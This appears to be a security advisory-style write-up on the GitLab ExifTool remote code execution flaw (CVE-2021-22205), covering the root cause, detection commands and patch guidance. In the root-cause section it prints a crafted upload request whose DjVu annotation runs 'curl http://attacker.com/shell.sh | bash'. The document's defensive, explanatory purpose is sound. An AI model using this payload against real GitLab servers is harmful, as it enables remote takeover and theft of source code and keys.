GitLab Critical RCE (CVE-2021-22205) & CI/CD Pipeline Exploits

1. When Avatar Uploads Yield Root Shells

In 2021, a critical zero-day vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE) shocked DevOps and engineering teams worldwide: CVE-2021-22205 (CVSS 10.0). The vulnerability allowed remote, unauthenticated attackers to execute arbitrary commands on self-hosted GitLab servers simply by submitting a crafted image payload to the user avatar or wiki upload endpoints.

Within days of public exploit availability, automated botnets (including Kinsing cryptocurrency miners) swept the internet, compromising thousands of production GitLab instances, exfiltrating proprietary source code repositories, and harvesting cloud deployment keys.

2. CVE Metadata Overview

3. Technical Root Cause: The DjVu Metadata Eval in ExifTool

When GitLab receives an uploaded image (PNG, JPEG, TIFF), it utilizes the open-source Perl utility ExifTool to extract EXIF metadata and strip potentially sensitive geolocation tags before storing the file.

ExifTool supported the DjVu scanned document format. In DjVu files, metadata annotations are stored as S-expressions enclosed in parentheses ((metadata ...)). When ExifTool encountered a token prefixed with backslashes or quotation marks, it utilized Perl's dynamic string evaluation (eval()) to parse escaped octal and hexadecimal characters without proper sanitization.

An unauthenticated attacker simply constructed a valid JPEG or TIFF file with an embedded DjVu annotation containing raw Perl commands:

POST /uploads/user HTTP/1.1
Host: gitlab.enterprise.internal
Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575

-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\xc0\x00\x00\x00\x00\x00\x08test.djvu\x00\x00\x00\x00\x00FORM\x00\x00\x00\x14DJVUINFO\x00\x00\x00\x0a\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x08shared_annot.djvu\x00FORM\x00\x00\x03\x8fANNO\x00\x00\x00(metadata
(Author "" . qx{curl http://attacker.com/shell.sh | bash} . ""))
-----------------------------974767299852498929531610575--

When GitLab processed the upload via Workhorse, it invoked ExifTool, which evaluated qx{curl ...} and executed the shell command under the git user context.

4. Detection and Threat Hunting

# Search GitLab production logs for unauthenticated upload requests returning 200
grep -E 'POST /(uploads/user|api/v4/projects/.*/uploads)' /var/log/gitlab/gitlab-rails/production_json.log | grep '"status":200'

# Inspect running processes spawned by the git service account
ps -u git -o pid,user,args | grep -E '(curl|wget|sh|bash|nc|python)'

5. Remediation & Hardening Blueprint

1. Upgrade GitLab CE/EE to patched versions: 13.10.3, 13.9.6, 13.8.8, or later.
2. Update underlying operating system exiftool packages to version 12.24+.
3. Place all corporate GitLab and CI/CD portals behind strict IP allowlists or Zero Trust Network Access (ZTNA) gateways.